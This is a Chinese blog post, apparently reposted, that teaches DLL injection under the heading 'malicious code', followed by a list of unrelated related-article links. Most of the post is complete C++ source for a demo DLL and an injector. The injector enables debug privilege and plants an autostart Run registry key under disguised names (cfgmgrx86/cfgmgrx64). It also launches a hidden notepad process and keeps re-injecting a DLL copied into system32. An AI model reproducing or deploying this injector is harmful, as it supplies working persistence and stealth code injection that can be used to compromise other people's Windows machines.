恶意代码--dll动态链接库注入目标进程隐藏自身(亲测win7x86和x64有效)
来源:互联网 发布:家电遥控器软件 编辑:程序博客网 时间:2024/06/01 08:40
0x01 dll 注入
所谓DLL注入就是将一个DLL放进某个进程的地址空间里,让它成为那个进程的一部分。
很多恶意代码,游戏外挂,盗号木马,顽固类病毒等程序均采用此寄生,隐藏在目标计算机之内。
0x02 关键API
VirtualAllocEx function
VirtualAllocEx函数在远程进程的地址空间中分配一块内存
C++LPVOID WINAPI VirtualAllocEx( _In_ HANDLE hProcess, _In_opt_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flAllocationType, _In_ DWORD flProtect);
WriteProcessMemory function
WriteProcessMemory函数把DLL的路径名复制到第1步分配的内存中
C++BOOL WINAPI WriteProcessMemory( _In_ HANDLE hProcess, _In_ LPVOID lpBaseAddress, _In_ LPCVOID lpBuffer, _In_ SIZE_T nSize, _Out_ SIZE_T *lpNumberOfBytesWritten);
GetProcAddress function
GetProcAddress函数来得到LoadLibraryW或LoadLibraryA函数(在Kernel32.dll中)的实际地址
GetProcAddress函数来得到LoadLibraryW或LoadLibraryA函数(在Kernel32.dll中)的实际地址
C++FARPROC WINAPI GetProcAddress( _In_ HMODULE hModule, _In_ LPCSTR lpProcName);
CreateRemoteThread function
CreateRemoteThread函数在远程进程中创建一个线程,让新线程调用正确的LoadLibrary函数并在参数中传入第1步分配的内存地址。这时,DLL已经被注入到远程进程的地址空间中,DLL的DllMain函数会收到DLL_PROCESS_ATTACH通知并且可以执行我们想要执行的代码。
C++HANDLE WINAPI CreateRemoteThread( _In_ HANDLE hProcess, _In_ LPSECURITY_ATTRIBUTES lpThreadAttributes, _In_ SIZE_T dwStackSize, _In_ LPTHREAD_START_ROUTINE lpStartAddress, _In_ LPVOID lpParameter, _In_ DWORD dwCreationFlags, _Out_ LPDWORD lpThreadId);
VirtualFreeEx function
用VirtualFreeEx来释放第1步分配的内存。
C++BOOL WINAPI VirtualFreeEx( _In_ HANDLE hProcess, _In_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD dwFreeType);
0x03 辅助工具
测试使用如下工具,也可以使用其它工具或者命令行也可以。
debugview 微软自家工具
https://technet.microsoft.com/en-us/sysinternals/bb896647.aspx
pchunter 手动检测工具(神器)
http://www.xuetr.com/
0x04 注入代码
实现大家可以结合代码理解。
大家可以随便自己先编写一个demo.dll 这个不是重点。为了测试,编写的关键代码如下。
HANDLE ghServerThread=NULL;BOOL CreateLukeMutex(){HANDLE hExist = ::CreateMutex( NULL, FALSE, L"5t4rk");if( GetLastError() == ERROR_ALREADY_EXISTS ){OutputDebugString(L"[ 5t4rk ] application is exists ");CloseHandle(hExist);return FALSE;}return TRUE;}DWORD WINAPI ThreadRunning(LPVOID lpParameter){DWORD dwIniateValue=1;while(dwIniateValue>0){if (dwIniateValue%10==0){Sleep(10*10);OutputDebugString(L"[ 5t4rk ] Beauty And The Beast ");}else if(dwIniateValue%10==1){Sleep(11*110);OutputDebugString(L"[ 5t4rk ] Because I Love You ");}else if(dwIniateValue%10==2){Sleep(12*320);OutputDebugString(L"[ 5t4rk ] When You Believe ");}else if(dwIniateValue%10==3){Sleep(13*330);OutputDebugString(L"[ 5t4rk ] Don't Cry For Me Argentina ");}else if(dwIniateValue%10==4){Sleep(140*40);OutputDebugString(L"[ 5t4rk ] Sharp Of My Heart ");}else if(dwIniateValue%10==5){Sleep(100*1010);OutputDebugString(L"[ 5t4rk ] My Heart Will Go On ");}else if(dwIniateValue%10==6){Sleep(25*60);OutputDebugString(L"[ 5t4rk ] I Will Always Love You ");}else if(dwIniateValue%10==7){Sleep(8*1030);OutputDebugString(L"[ 5t4rk ] More Than I Can Say ");}else if(dwIniateValue%10==8){Sleep(13*1830);OutputDebugString(L"[ 5t4rk ] Can I Feel The Love Tonights ");}else{Sleep(15*1000);OutputDebugString(L"[ 5t4rk ] dll is still running ");}::InterlockedIncrement(&dwIniateValue);}return dwIniateValue;}BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:if(TRUE==CreateLukeMutex()){ghServerThread = CreateThread(NULL, 0, ThreadRunning,NULL,0,0);CloseHandle(ghServerThread);}break;case DLL_THREAD_ATTACH:break;case DLL_THREAD_DETACH:break;case DLL_PROCESS_DETACH://break;}return TRUE;}
然后编写注射器injector.exe 因为dll注入就是通过我们运行的进程去调用某个dll使它动态
得被加载到某个正在运行的进程内存之中。本人测试采用注入到notepad记事本之中。
关键代码如下
common.h
#include <Windows.h>#include <tlhelp32.h>#include <process.h>#include <Psapi.h>#pragma comment(lib,"psapi.lib")#include <stdlib.h>#include <string>#include <iostream>#include <stdio.h>#include<tchar.h>using namespace std;class CSystemFunction{public:CSystemFunction();~CSystemFunction();public:static BOOLIs64bitOsVersion();static boolIsWritedRegedit();static boolIsStartProcess(TCHAR *szTargetProcessName);static bool IsCheckProcess(TCHAR *szTargetProcessName);static BOOLSetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) ;static intInjectDLLtoProcessFromName(TCHAR *szTarget, TCHAR *szDllPath);static intInjectDLLtoProcessFromPid(DWORD dwPid, TCHAR *szDllPath);static intInjectDLLtoNewProcess(TCHAR *szCommandLine, TCHAR *szDllPath);static DWORDGetProcessPIDByName(TCHAR *szTargetProcessName);static intInjectDLL(HANDLE hProcess, TCHAR *szDllPath);static intInjectDLLtoExistedProcess(DWORD dwPid, TCHAR *szDllPath);};
common.cpp
#include "common.h"BOOL CSystemFunction::SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) { TOKEN_PRIVILEGES tp; HANDLE hToken; LUID luid; if( !OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken) ) { _tprintf("OpenProcessToken error: %u/n", GetLastError()); return FALSE; } if( !LookupPrivilegeValue(NULL, lpszPrivilege, &luid) ) { _tprintf("LookupPrivilegeValue error: %u/n", GetLastError() ); return FALSE; } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; if( bEnablePrivilege ) tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; else tp.Privileges[0].Attributes = 0; if( !AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES) NULL, (PDWORD) NULL) ) { _tprintf("AdjustTokenPrivileges error: %u/n", GetLastError() ); return FALSE; } if( GetLastError() == ERROR_NOT_ALL_ASSIGNED ) { _tprintf("The token does not have the specified privilege. /n"); return FALSE; } return TRUE; } BOOL CSystemFunction::Is64bitOsVersion(){ typedef BOOL (WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL); LPFN_ISWOW64PROCESS fnIsWow64Process; BOOL bIs64bitOS = FALSE; fnIsWow64Process=(LPFN_ISWOW64PROCESS)GetProcAddress(GetModuleHandle("kernel32.dll"),"IsWow64Process"); if (NULL != fnIsWow64Process) { if (!fnIsWow64Process(GetCurrentProcess(),&bIs64bitOS)) { // return FALSE; }else{return TRUE;} } return bIs64bitOS;}bool CSystemFunction::IsWritedRegedit(){ if (!Is64bitOsVersion())//32 { HKEY hMyKey=NULL; LONG lRet=0; DWORD dwType = REG_SZ; DWORD dwSize=MAX_PATH; TCHAR chData[MAX_PATH]={'\0'};; lRet = RegOpenKey(HKEY_LOCAL_MACHINE, _T("Software\\Microsoft\\windows\\CurrentVersion\\Run\\"), &hMyKey) ; if (lRet!=ERROR_SUCCESS) { OutputDebugString(_T("Regedit can not be opened\n")); return 1; } RegQueryValueEx(hMyKey,_T("cfgmgrx86"),NULL,&dwType,(LPBYTE)chData,&dwSize); if (lstrlen(chData)>10) { OutputDebugString(_T("Regedit is already exists\n")); RegCloseKey(hMyKey); return 1; } else { HKEY hKey=NULL; DWORD dwDisposition; TCHAR filepath[MAX_PATH]={'\0'};GetModuleFileName(NULL,filepath,MAX_PATH); lstrcat(filepath,_T(" /autostart")); if(RegCreateKeyEx(HKEY_LOCAL_MACHINE,_T("Software\\Microsoft\\windows\\CurrentVersion\\Run\\"),0, NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&dwDisposition) == ERROR_SUCCESS) { if (RegSetValueEx(hKey,_T("cfgmgrx86"),0,REG_SZ,(LPBYTE)filepath,sizeof(TCHAR)*(lstrlen(filepath)+1)) == ERROR_SUCCESS) { OutputDebugString(_T("Regedit is already writed\n")); RegCloseKey(hKey); return 1; } else { OutputDebugString(_T("Regedit cannot be writed\n")); RegCloseKey(hKey); return 1; } } else { OutputDebugString(_T("Regedit cannot be writed\n")); return 1; } } } else //64 { HKEY hMyKey=NULL; BOOL bRet=FALSE; DWORD dwType = REG_SZ; DWORD dwSize=MAX_PATH; TCHAR chData[MAX_PATH]={'\0'}; LONG lRet=0; lRet = RegOpenKey(HKEY_LOCAL_MACHINE, _T("SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\run\\"), &hMyKey); if (lRet!=ERROR_SUCCESS) { OutputDebugString(_T("Regedit can not be opened\n")); return 1; } RegQueryValueEx(hMyKey,_T("cfgmgrx64"),NULL,&dwType,(LPBYTE)chData,&dwSize); if (lstrlen(chData)>10) { OutputDebugString(_T("Regedit is already exists\n")); RegCloseKey(hMyKey); return 1; } else { HKEY hKey=NULL; DWORD dwDisposition=0; TCHAR filepath[MAX_PATH]={'\0'}; GetModuleFileName(NULL,filepath,MAX_PATH); lstrcat(filepath,_T(" /autostart")); if(RegCreateKeyEx(HKEY_LOCAL_MACHINE,_T("SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\run\\"),0, NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_WOW64_64KEY,NULL,&hKey,&dwDisposition) == ERROR_SUCCESS) { if (RegSetValueEx(hKey,_T("cfgmgrx64"),0,REG_SZ,(LPBYTE)filepath,sizeof(TCHAR)*(lstrlen(filepath)+1)) == ERROR_SUCCESS) { OutputDebugString(_T("Regedit is already writed\n")); RegCloseKey(hKey); return 1; } else { OutputDebugString(_T("Regedit cannot be writed\n")); RegCloseKey(hKey); return 1; } } else { OutputDebugString(_T("Regedit cannot be writed\n")); return 1; } } } return 1;}bool CSystemFunction::IsCheckProcess(TCHAR *szTargetProcessName){ bool bRetFind=false; HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if(hSnap == INVALID_HANDLE_VALUE) { TCHAR chError[50]={0}; sprintf_s(chError,"CreateToolhelp32Snapshot::0x%08x",GetLastError()); OutputDebugString(chError); return false; } PROCESSENTRY32 pe; pe.dwSize = sizeof(pe); BOOL bResult = Process32First(hSnap, &pe); while(bResult) { if(0==lstrcmp(pe.szExeFile, szTargetProcessName)) { bRetFind=true; break; } bResult = Process32Next(hSnap, &pe); } CloseHandle(hSnap); return bRetFind;}bool CSystemFunction::IsStartProcess(TCHAR *szTargetProcessName){ if(lstrlen(szTargetProcessName)>4) { SECURITY_ATTRIBUTES sa = {0}; PROCESS_INFORMATION pi = {0}; STARTUPINFO si = {0}; sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.lpSecurityDescriptor = NULL; sa.bInheritHandle = TRUE; memset((void *)&si, 0, sizeof(si)); memset((void *)&pi, 0, sizeof(pi)); GetStartupInfo(&si); si.cb = sizeof(STARTUPINFO); si.wShowWindow = SW_HIDE; si.dwFlags = STARTF_USESHOWWINDOW; TCHAR chSystem[MAX_PATH]={0}; DWORD dwSize=GetSystemDirectory(chSystem,MAX_PATH); if(dwSize!=0) { lstrcat(chSystem,"\\"); lstrcat(chSystem,szTargetProcessName); } BOOL bResult =CreateProcess(chSystem, NULL, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi); if (!bResult) { CloseHandle(pi.hThread); CloseHandle(pi.hProcess); OutputDebugString("Failed CreateProcess"); return false; } if (!pi.hProcess) { CloseHandle(pi.hThread); CloseHandle(pi.hProcess); OutputDebugString("Failed WaitForSingleObject"); return false; } CloseHandle(pi.hThread); CloseHandle(pi.hProcess); } else { OutputDebugString("Failed command parameter"); return false; } return true;}DWORD CSystemFunction::GetProcessPIDByName(TCHAR *szTargetProcessName){HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if(hSnap == INVALID_HANDLE_VALUE){TCHAR chError[50]={0};sprintf_s(chError,"CreateToolhelp32Snapshot::0x%08x",GetLastError());OutputDebugString(chError);return 0;}PROCESSENTRY32 pe;pe.dwSize = sizeof(pe);DWORD dwProcessId = 0;BOOL bResult = Process32First(hSnap, &pe);while(bResult){if(!lstrcmp(pe.szExeFile, szTargetProcessName)){dwProcessId = pe.th32ProcessID;break;}bResult = Process32Next(hSnap, &pe);}CloseHandle(hSnap);return dwProcessId;}int CSystemFunction::InjectDLL(HANDLE hProcess, TCHAR *szDllPath){int szDllPathLen = lstrlen(szDllPath) + 1;PWSTR RemoteProcessMemory = (PWSTR)VirtualAllocEx(hProcess, NULL, szDllPathLen, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);if(RemoteProcessMemory == NULL){TCHAR chError[50]={0};sprintf_s(chError,"VirtualAllocEx::0x%08x",GetLastError());OutputDebugString(chError);return -1;}BOOL bRet = WriteProcessMemory(hProcess, RemoteProcessMemory, (PVOID)szDllPath, szDllPathLen, NULL);if(bRet == FALSE){TCHAR chError[50]={0};sprintf_s(chError,"WriteProcessMemory::0x%08x",GetLastError());OutputDebugString(chError);return -1;}PTHREAD_START_ROUTINE pfnThreadRtn;pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");if(pfnThreadRtn == NULL){TCHAR chError[50]={0};sprintf_s(chError,"GetProcAddress::0x%08x",GetLastError());OutputDebugString(chError);return -1;}HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, pfnThreadRtn, RemoteProcessMemory, 0, NULL);if(hThread == NULL){CHAR chError[50]={0};sprintf_s(chError,"CreateRemoteThread::0x%08x",GetLastError());OutputDebugString(chError);return -1;}else{OutputDebugString("congratulations !");}//WaitForSingleObject(hThread, INFINITE);VirtualFreeEx(hProcess, RemoteProcessMemory, szDllPathLen, MEM_RELEASE);CloseHandle(hThread);return 0;}int CSystemFunction::InjectDLLtoExistedProcess(DWORD dwPid, TCHAR *szDllPath){HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION , FALSE, dwPid);if(hProcess == NULL){CHAR chError[50]={0};sprintf_s(chError,"OpenProcess::0x%08x",GetLastError());OutputDebugString(chError);return -1;}if(InjectDLL(hProcess, szDllPath)){CHAR chError[50]={0};sprintf_s(chError,"InjectDLL::0x%08x",GetLastError());OutputDebugString(chError);return -1;}CloseHandle(hProcess);return 0;}int CSystemFunction::InjectDLLtoProcessFromName(TCHAR *szTarget, TCHAR *szDllPath){DWORD dwPid = GetProcessPIDByName(szTarget);if(dwPid == 0){CHAR chError[50]={0};sprintf_s(chError,"GetProcessIdFromName::0x%08x",GetLastError());OutputDebugString(chError);return -1;}if(InjectDLLtoExistedProcess(dwPid, szDllPath)){CHAR chError[50]={0};sprintf_s(chError,"InjectDLLtoExistedProcess::0x%08x",GetLastError());OutputDebugString(chError);return -1;}return 0;}int CSystemFunction::InjectDLLtoProcessFromPid(DWORD dwPid, TCHAR *szDllPath){if(InjectDLLtoExistedProcess(dwPid, szDllPath)){CHAR chError[50]={0};sprintf_s(chError,"InjectDLLtoExistedProcess::0x%08x",GetLastError());OutputDebugString(chError);return -1;}return 0;}int CSystemFunction::InjectDLLtoNewProcess(TCHAR *szCommandLine, TCHAR *szDllPath){STARTUPINFO si;PROCESS_INFORMATION pi;ZeroMemory(&si, sizeof(STARTUPINFO));si.cb = sizeof(STARTUPINFO);BOOL bResult = CreateProcess(NULL, szCommandLine, NULL, NULL,FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);if(bResult == FALSE){CHAR chError[50]={0};sprintf_s(chError,"CreateProcess::0x%08x",GetLastError());OutputDebugString(chError);return -1;}int nRet = -1;if(InjectDLL(pi.hProcess, szDllPath))goto _Exit;nRet = 0;_Exit:ResumeThread(pi.hThread);CloseHandle(pi.hThread);CloseHandle(pi.hProcess);return nRet;}
main.cpp
#include "common.h"int APIENTRY WinMain(__in HINSTANCE hInstance,__in_opt HINSTANCE hPrevInstance,__in LPSTR lpCmdLine, __in int nShowCmd){CSystemFunction::SetPrivilege(SE_DEBUG_NAME, TRUE);while (true){if(false==CSystemFunction::IsCheckProcess("notepad.exe")){if (true==CSystemFunction::IsStartProcess("notepad.exe")){CSystemFunction::InjectDLLtoProcessFromName("notepad.exe","C:\\windows\\system32\\demo.dll");}else{OutputDebugString("the application can not be started !");}}else{HANDLE hExist = ::CreateMutex( NULL, FALSE, _T("5t4rk"));if( GetLastError() == ERROR_ALREADY_EXISTS ){OutputDebugString("[ 5t4rk ] Application is already running !");CloseHandle( hExist );Sleep(1000*60);}else{CloseHandle( hExist );CSystemFunction::InjectDLLtoProcessFromName("notepad.exe","C:\\windows\\system32\\demo.dll");Sleep(1000*60);}}}return 1;}
注意运行之前必须以右键管理员权限执行,因为注入是一种高危操作,必须过UAC。注入之前把第一个demo.dll复制到system32目录之下,当然你也可以是别的目录,修改对应的代码即可。
0x05 输出结果
测试程序采用线程实现循环输出调试信息字符串。
0x06 参考说明
如果测试失败可以先检查自己的程序和平台是不是兼容通用。
或者断点调试那个函数调用失败。或者GetLastError即可。
下载地址
http://download.csdn.net/detail/bjtbjt/9663714
参考地址
https://msdn.microsoft.com/en-us/library/windows/desktop/aa366890(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/ms681674(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/ms683212(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/ms682437(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/aa366894(v=vs.85).aspx
1 0
- 恶意代码--dll动态链接库注入目标进程隐藏自身(亲测win7x86和x64有效)
- dll动态链接库(5)---进程注入
- C#中调用C++动态链接库DLL两者目标平台X64或X86必须保持一致
- dll注入目标进程
- 动态链接库(DLL)总结---DLL注入(9)
- Windows 的动态链接库(DLL)中获得dll自身的名称
- 用dll注入的方式隐藏进程
- 用dll注入的方式隐藏进程
- 用dll注入的方式隐藏进程
- 动态链接库(DLL)
- 动态链接库(DLL)
- C#调用本地动态链接库时,根据x86或x64自动选择相应的动态链接库dll文件
- 动态链接库(DLL)和静态库(lib)
- 动态链接库(DLL)的开发和使用
- 动态链接库(DLL)的开发和使用
- 动态链接库(DLL)的开发和使用
- 动态链接库(DLL)的开发和使用
- 动态链接库(Win32 DLL的创建和使用)
- kafka 0.8.2版本配置选项翻译
- Excel及Word的导入及导出
- 存储分页
- android 相机、相册、剪切
- 页面设计的一些美化
- 恶意代码--dll动态链接库注入目标进程隐藏自身(亲测win7x86和x64有效)
- asp.net连接accessOLDB数据库访问类
- 使用jq弹出提示窗口信息
- 给文本框加上提示效果
- spring 定时任务执行两次
- jq UI中的dialog属性设置
- jquery.validate.js中success或error方法使用
- jquery.validator规则
- 多网卡指定网卡发送数据包 C# 实现代码